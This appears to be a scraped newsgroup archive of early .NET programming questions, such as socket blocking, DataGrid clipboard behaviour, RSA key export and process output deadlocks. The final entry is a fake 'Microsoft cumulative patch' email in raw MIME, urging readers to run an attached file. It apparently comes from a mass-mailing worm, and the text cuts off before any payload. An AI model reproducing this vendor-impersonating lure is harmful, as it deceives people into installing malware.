p2p
I have to write something VERY similar to Kazaa.
Is there something I could use to do some estimation of development time? Is
there anything done on the subject in c#? I couldn't find anything handy in
google for c#.
any pointers?
thanks,
Matias Tag: GAC question Tag: 59150
DataGrid -- when do selected rows end up on clipboard?
Hi,
I would like to understand when a selected cell, selected row or
selected rows in the DataGrid control ends up on the clipboard. All I
know is that the selection ends up on the clipboard, because when I
issue a copy command then paste to an editor, the selected datagrid
cell(s) end up on the editor.
Maybe a better way of stating my question is during what event (e.g.
MouseUp) do the selected cells end up on the clipboard (I assume via
the Clipboard.SetDataObject() method call.)
Thanks in advance.
Maggie Tag: GAC question Tag: 59134
Read content from an Excel file via a .NET application
I am looking for good documentation and preferably C#
sample code to show how to read content from an Excel
file via a .NET (Windows Form or ASP.NET) application.
I want to access the file via the Excel object model (for
Excel 2003) from my application. My .NET application
will provide a filename and location, open the excel
file, read content from specific locations within the
spreadsheet, then close the file.
I have searched MSDN and GotDotNet and seen documentation
for the Excel object model and several code samples. But
the paradigm seems to be different in most of these
examples, in that they are tuned for responding to events
when a user opens an Excel file, rather than the paradigm
being that my .NET application will proactively open an
Excel file.
I'm relatively new to C# and to .NET, so forgive me if my
question is not phrased in correct terminology.
Thanks for any help,
Cheers,
Bruce Tag: GAC question Tag: 59132
Blocking with TCP Sockets
I have a C# program that uses blocking sockets and want to allow the user to
stop the server. The problem I am having is the socket blocks on
--------------------------------------------------------------
listener = new System.Net.Sockets.TcpListener(6254);
listener.Start();
//skt is a socket
skt =listener.AcceptSocket(); <--- this line blocks
--------------------------------------------------------------
I attempt to stop the thread as follows
--------------------------------------------------------------
if (thListener.ThreadState != System.Threading.ThreadState.Stopped)
//thListener is the offending thread
{
try{listener.Stop();} //this always works
catch{System.Diagnostics.Trace.WriteLine("issue");}
thListener.Abort();
thListener.Join(2000);
}
--------------------------------------------------------------
I get the following error
--------------------------------------------------------------
System.Net.Sockets.SocketExchange: A blocking operation was interrupted by a
call to WSACancelBlockingCall
at System.Net.Sockets.Socker.Accept()
at System.Net.Sockets.TcpListener.AcceptSocket()
--------------------------------------------------------------
this error is in an OK-only popup box with no title and appears to be coming
out of the "listener" thread
I have not been able to find any information onWSACancelBlockingCall and was
hoping someone else has an idea how to prevent that popup.
Thanks in advance,
~Logan Tag: GAC question Tag: 59131
Public encryption
Hi
I'm currently developing two applications (in VB.NET)
that shall communicate in a secure way. As a matter of
fact, I wanted to use the RSA public key infrastructure
for this. One application creates a public and a private
key and sends the public key to the other application (I
only need one-way-communication), so that this one is
able to send encrypted messages to the first application.
Now, I've read about the RSA Cryptographic Provider in
the documentation, but I still don't get how to extract
the public key out of such an instance so that I can send
it. How can I create a public and a private key
correctly? Can anyone help me with this?
Thanks
Sam Tag: GAC question Tag: 59124
sockets question
Hi,
I'm building an proxy server app, and I have a question. I
want to provide a bandwidth limit function, and I wonder
if the way I'm doing it is right. If I want to limit the
download bandwidth of a socket to, let's say, 100
bytes/sec, when that socket receives some data, I read it
all (let's say 500 bytes) and then I wait 5 seconds until
I read again from the socket. I wonder if it would be
better to just read at most 100 bytes every second... (if
yes, how do i do this?). The communication is TCP, so I
wonder when does the socket tell the remote peer that
packets have arrived, exactly when they arrive, or when my
app reads data from the socket?
Thanks a lot,
Andrei Matei
andreimatei@home.ro Tag: GAC question Tag: 59121
.NET redistributable and Languages
Can the .NET language packs be applied to non-English
versions of the .NET Runtime. FOr example, if the German
version of the .NET framework is installed, can a
French .NET language pack be applied? Tag: GAC question Tag: 59120
shortcut files
How do you programmatically create a shortcut file to an
existing executable? I am using C# and .NET
Thanks Tag: GAC question Tag: 59119
installutil.exe fails due to license.dll not found
I either dont know where to look, or havent found
anything on being unable to run installutil.exe
I have a plain vanilla Windows XP machine with VS .Net C#
7.0.
When i run installutil.exe (with params or not), i get an
error message:
"The application failed to start because license.dll was
not found. re-installing the applicaiton may fix this
problem
Has anyone seen this? what's the problem, and what's the
solution?
Thanks! Tag: GAC question Tag: 59118
Moving from visual studio6 to .net
Hi everybody,
Currently we have .asp(on IIS4) app, back end is SQL
server, plus we have several desktop applications written
in VB6(I have Visual Studio6 on my machine).
We would like gradually to move everything to .NET.
First I would like to move .asp pages to .NET (test server
is Windows2003,IIS6).
As I understand I have to install .NET framework on my
machine. I am wondering if is safe to do it since I still
do development and fixes for .ASP and vb apps. I am
wondering if .net framework will not brake VB6 on my
machine?
Thank you very much
Diana M Tag: GAC question Tag: 59115
Form to JPG / Capture Screen with .NetFramwork
Hi all,
I need to know If I can convert to JPG or If I can capture the Form and
store it in .jpg o .bmp .
I want to "capture" the view status of Form of my application and store it
in .jpg file
Can anyone help me ?
I haven't found information about ...
nullman Tag: GAC question Tag: 59114
HELP! Can't get the column that has error on dataset.update
I have the sample code from the microsoft site and it
doesn't work. I am updating a database using a sql
dataadapter. I add a new row and call the update which
causes an error of 'String or Binary Data Would Be
Truncated' err# 8152. OK- so I use the following code:
' String or binary data woould be truncated
If sqlex.Number = 8152 Then
Dim Row As DataRow
' Loop through the rows to find the error
For Each Row In ds.Tables(0).Rows
' If the row has errors the get the columns
If Row.HasErrors Then
Dim ColArray() As DataColumn
Dim ColCount As Integer
' Get the columns that are in error
ColArray = Row.GetColumnsInError()
' Loop through the columns with errors and produce
the column names and rowerror
For ColCount = 0 To ColArray.GetUpperBound(0)
Msg += " Row=" + Row.ToString + " :
ColumnName=" + ColArray(ColCount).ColumnName + " :
MaxLen=" + _
ColArray(ColCount).MaxLength + " :
RowDataLen=" + Len(Row.Item(ColArray
(ColCount).ColumnName)) + _
" : RowError=" + Row.RowError
Next
End If
Next
End If
PROBLEM ColArray.GetUpperBound(0) = -1 ???????
there is no data in the ColArray ??????????
HELP! thanks in advance Tag: GAC question Tag: 59105
Inheritance trees
Does anyone know where I could find documentation on inheritance tress for
objects in the framework..
Example;
ServicedComponent inherits from ContextBoundObject which inherits from
MarshalByRefObject...
I don't know if that the exact flow or not but I'm sure you get the
picture....
TIA
Dan Tag: GAC question Tag: 59104
Windows 98 debugging
What are my options to debug a Windows-98-specific bug in
my C# app? I have Visual C++ 6.0 and the .NET SDK (not
Visual Studio .NET), and a standalone Windows 98 test
computer (not near my development computer).
The .NET SDK (with its debuggers) won't install on Windows
98. Is there any way to run the CLR (GUI) debugger
(DbgCLR.exe) on the Windows 98 test machine? I tried
copying DbgCLR.exe to the test machine but it won't run
standalone that way. Can the command-line debugger
(Cordbg.exe) run on Windows 98? Or must I use remote
debugging?
Does the standalone Visual C# product contain the remote
debugger or must I buy the full Visual Studio .NET? Tag: GAC question Tag: 59103
ASP.NET HotFix Rollup download
article 821156 discusses the download for the Hotfix
Rollup. Where is the download? I need it to help meet
Section 508 Accessibility guidelines
thanks Tag: GAC question Tag: 59102
VB NET Exam PLEASE HELP
Hi. I am an amateur VB.net enthusiast. I currently work as a carpenter
and I moonlight on the weekends as a photographer. I'm trying to
transition a career change.
Is there an exam that leads to certification in VB.net like there is with Java?
How much of the exam will rely on memorization? How much will be from
programming skill? How do they measure my programming ability from one
exam? Tag: GAC question Tag: 59098
exchange server 2003
The ability to use the calender function in exchange server 2003 is it
possible to access the same functionality from asp.net? If that
function works I guess the rest of them will too. I am wondering if we
can access it from our intranet or mobiledevices...
If its possible, how does one access the exchange srv. with different
user etc.
Thanks up front - I will sleep better when I know if the works or not
:0) Tag: GAC question Tag: 59092
Use reflection to determine subtype
I can use the following to determine the Type of the current instance.
System.Reflection.MethodBase.GetCurrentMethod().DeclaringType
What I want is the Type of the sub class instance. Any ideas? Here's an
example.
namespace myNamespace
{
public class A
{
protected Type myType =
System.Reflection.MethodBase.GetCurrentMethod().DeclaringType;
protected Type myChildType = ????
}
public class B : A
{
}
}
When I create and instance of B, the myType member is a Type with name
"myNamespace.A". I want the myChildType member to be the Type with name
"myNamespace.B". Any ideas?
I DO NOT want to modify class B.
Thanks
Derrick Tag: GAC question Tag: 59082
Framework 1.1 installed but.....
I have 1.1 of the .Net Framework but in my .Net references all the
namespaces i.e System.Data.Dll etc are showing a version of 1.0.3300.0 but
in C:\WINNT\Microsoft.NET\Framework\v1.1.4322 I have a version of this dll
of 1.1.4322.573, why hasn't 1.1 overridden the 1.0 files? Tag: GAC question Tag: 59077
Help
Hi,
I am developing a windows application in C# using Visual Studio .Net IDE.
The application has a standard Menu bar which is visible on the top of the
screen.
The items of the Menu bar are
1. File
2. Edit
3. Tools
4. Help
Short cuts are also there for user to select a menu item.
Now I am facing a peculiar problem which I believe I had not faced with
applications developed using Visual C++ or Visual Basic (Visual Studio 6.0
or earlier). If I select a menu item, for example I select "Edit" and I use
right arrow key to move to other main menu items. After I reach "Help", I
expect "File" menu item to be selected in case I again press right arrow
key. But the application is showing the Windows form control menu ( with
options such as "Restore","Minimize etc.). Same issue is there if I use left
arrow to navigate the menu items.
I have tried it a few times on a variety of applications and I am getting
the same error. It would be great if someone could help me to solve the
problem. I believe probably some configuration has to be done in the windows
form as I do not believe Microsoft has left this issue to the programmers,
to write code to catch the event for right / left arrow movement.
Please help !
Gary Tag: GAC question Tag: 59076
How to cause a line break in a textbox?
I have a multiline textbox to display a char string.
How do I make the textbox break at a certain position
of the char string. I try putting '\n' in the char string,
but it doesn't work. Tag: GAC question Tag: 59067
Portability
What classes are portable and what are not, I would say WinForms is NOT
portable, what others are not portable? Tag: GAC question Tag: 59063
multiple output directories
Hi group
i try to have 2 output for my app :
bin\debug
AND
..\MyDir\SomeWhere\
is it possible ?
thanks
ROM Tag: GAC question Tag: 59062
Documentation XML to HTML
hi group
I have heard about magic documentation generator like in java.
i have never need it ...
but now i need
so i read lot of articles to generate my /// comments to xml files
and it is easy
but how the hell transforme .xml in .html, or view it as .html ???
I am discovering xml, and don't know that, wich i suppose the beginner
question.
can you indicates me a xml-to-html documentation ?
thanks for help
ROM Tag: GAC question Tag: 59059
Installation of .NET framework 1.1
Hi,
while installing Visual studio .NET 2003, the
installation is taking lot of time (more than a day)
for .NET framework 1.1 . this is being installed
automatically as a prerequisite. Please let me know why it
is taking so much time for the installation of .NET
framework? what could be the problem?
regards,
Ramakrishna. Tag: GAC question Tag: 59057
How to Move files into trashbox?
Dear all,
Could you please tell me how to move files into trashbox?
FileInfo.Delete() will delete files completely. But I want to get
files back if necessary. I searched document of .net framework 1.1,
but it seems like no such information.
JR Tag: GAC question Tag: 59054
formatting data in a datagrid
Hello,
I have a datagrid bound to a dataset like so
Public Sub BindGrid(ByVal dgtrusses As DataGrid,
ByRef MyTable As DataTable)
dgtrusse.DataSource = MyTable
cm = CType(BindingContext(MyTable),
CurrencyManager)
End Sub
ts = New DataGridTableStyle(cm)
'new code to format the column
ts.MappingName = "trusses"
dgtrusses.TableStyles.Add(ts)
'B/C
ts.GridColumnStyles(11).Width = 50
ts.GridColumnStyles(11).HeaderText = "B/C"
ts.GridColumnStyles(11).NullText = ""
This is all fine except I wan't to format the 11th column
above to just show 3 decimal places, how do I do this do i
introduce a new gridcolumnstyle, if so how.
Regards
Robert Tag: GAC question Tag: 59053
Problem with TreeView control
Hello to everybody.I have a trouble with the TreeView
control.I want to display a MenuContext when I click with
the right button on a TreeNode of the TreeView.The
problem is that if I click on a TreeNode everything
workfine but if I click in the background color of the
TreeView it display again myContextMenu.I've read
documentation about it.It says to handle the ButtonDown
click of the TReeView and then to test the button
pressed.After use the method GetNodeAt(x,y) of the
TreeView control.The problem is that if I don't click
over a node,GetNodeAt don't return (like I and
documentation aspect) the value null but an undefined
value,so I can't test it.Anyone knows what's wrong?Anyone
w to make selection of a tree node with only a right
click?Sorry for my English,Thank you to everybody. Tag: GAC question Tag: 59052
.Net Application
I have a dot Net application installed on a windows 2000
server with Sql database. The server has .Net framework
1.1 installed. The application works on a local machine
but once installed on a server and linked to the
appropriate database, when trying to access through
browser window the application is opened but with an
error "We are Sorry - The system is not available at the
moment! Please try again later or contact your Systems
Administrator" Tag: GAC question Tag: 59048
Process Threads
I think I'm deadlocking my process because of the situation described below:
Can anyone provide ideas for how to get around this, or an example of
creating two threads to read from StandardError and StandardOutput
independently, as recommended in the text below?
Thanks very, very much..
----- FROM MSDN -----
The Process component communicates with a child process using a pipe. If a
child process writes enough data to the pipe to fill the buffer, the child
will block until the parent reads the data from the pipe. This can cause
deadlock if your application is reading all output to standard error and
standard output. The following C# code, for example, could be problematic.
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.FileName = "test.exe";
p.Start();
p.WaitForExit();
string output = p.StandardError.ReadToEnd();
In this instance, both the parent and the child processes would be blocked,
as the filled pipe prevents the child process from completing, while the
parent process is waiting indefinitely for the child process to exit.
This problem can be solved by moving the ReadToEnd() before the
WaitForExit(), as follows.
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.FileName = "test.exe";
p.Start();
string output = p.StandardError.ReadToEnd();
p.WaitForExit();
A similar problem arises if you redirect both standard output and standard
error and then try to read both, for example using the following C# code.
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
In this case, if the child process writes any text to standard error it will
block the process, because the parent process cannot read from standard
error until it has finished reading from standard output. However, the
parent process will not read from standard output until the process ends. A
recommended solution to this situation is to create two threads so that your
application can read the output of each stream on a separate thread. Tag: GAC question Tag: 59045
Can the dll used in no touch deployment have unsafe blocks
What are the restrications on unsafe blocks using the object tag or
Assembly.LoadFrom - it does not seem to work for me even with full
trust of the site Tag: GAC question Tag: 59044
Incorrect Format while adding data into a XML file.
Hello all.
I am writing some "CART" data into an xml and it is not coming in the
right format. I have an dataset which has an orderID element and a
product element. The product element has a productid element.
Now once i get the cart, i take this data and using the dataset, i
write it into an xml file.
the format it "should appear" in is:
<OrderInformation>
<Order>
<Id>0</Id>
<Product>
<ProductId>21</ProductId>
</Product>
<Product>
<ProductId>22</ProductId>
</Product>
</Order>
</OrderInformation>
but its coming as
<OrderInformation>
<Order>
<Id>0</Id>
</Order>
<Product>
<ProductId>21</ProductId>
</Product>
<Product>
<ProductId>22</ProductId>
</Product>
</OrderInformation>
obviously i am adding it in an incorrect order ..
my code is:
string fileLocation =
(string)ConfigurationSettings.AppSettings["ShoppingCart.Location"];
ShoppingCart shoppingCart = new ShoppingCart();
ShoppingCart.ProductRow productRow = null;
int noOfItems = 0;
if (cart != null)
{
CartLineItem[] cLineItems = cart.CartLineItemArray;
if (cLineItems != null)
{
foreach(CartLineItem lineItem in cLineItems)
{
shoppingCart.DataSetName =
"OrderInformation"; shoppingCart.Order.AddOrderRow(noOfItems.ToString());
productRow = shoppingCart.Product.NewProductRow();
productRow.ProductID = lineItem.ProductID;
shoppingCart.Product.AddProductRow(productRow); noOfItems++;
}
if (shoppingCart.Order.Rows.Count > 0)
{
shoppingCart.WriteXml(fileLocation);
}
}
}
Can anyone please advise, what am i doing wrong here..
Thanx very much.
Reeya Tag: GAC question Tag: 59043
App-Domain error with ASP.NET
Hey, I downloaded the Community Starter Kit from www.asp.net and installed
one with the setup program. Now I am adding to it and don't want to mess up
the original, so I want to run a second one side-by-side on the server.
When I load any page I get this:
Server Application Unavailable
The web application you are attempting to access on this web server is
currently unavailable. Please hit the "Refresh" button in your web browser
to retry your request.
Administrator Note: An error message detailing the cause of this specific
request failure can be found in the application event log of the web server.
Please review this log entry to discover what caused this error to occur.
The event log gives me this error from ASP.NET 1.1:
Failed to execute request because the App-Domain could not be created.
Error: 0x80070005 Access is denied.
Any Ideas? Tag: GAC question Tag: 59041
Edit files with no extension
Still trying to figure this one out:
I want to edit aspx files that do not have the .aspx extension. Is this
possible while still getting the statement completion, text colorization and
highlighting in Microsoft Visual Studio Dot Net Enterprise Architect?
I wish to use an alternative extension (or no extension at all) and still
get text highlighting that you would find for a .aspx extension. I was
originally told to edit the registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\7.1\Editors\{8281C572-217
1-45AA-A642-7D8BC1662F1C}\Extensions.
I added a new DWORD Value
with the title "aca" and
with a value data of "27" and
with a base of hexidecimal because it just seemed like the right thing to
do.... reboot machine = no go. The text in my .aca file is still rendered
like a .txt text file. I even removed the "asp" from this key and asp files
still render correctly in the ide.
Someone must have done this at some point, right?
Please help... if you can...
Respectfully,
Alan Tag: GAC question Tag: 59031
Watch patch from MS Corp.
--xvwxiggwz
Content-Type: multipart/related; boundary="oiklcgtenrcv";
type="multipart/alternative"
--oiklcgtenrcv
Content-Type: multipart/alternative; boundary="lglomcpiwqpsoezlg"
--lglomcpiwqpsoezlg
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installi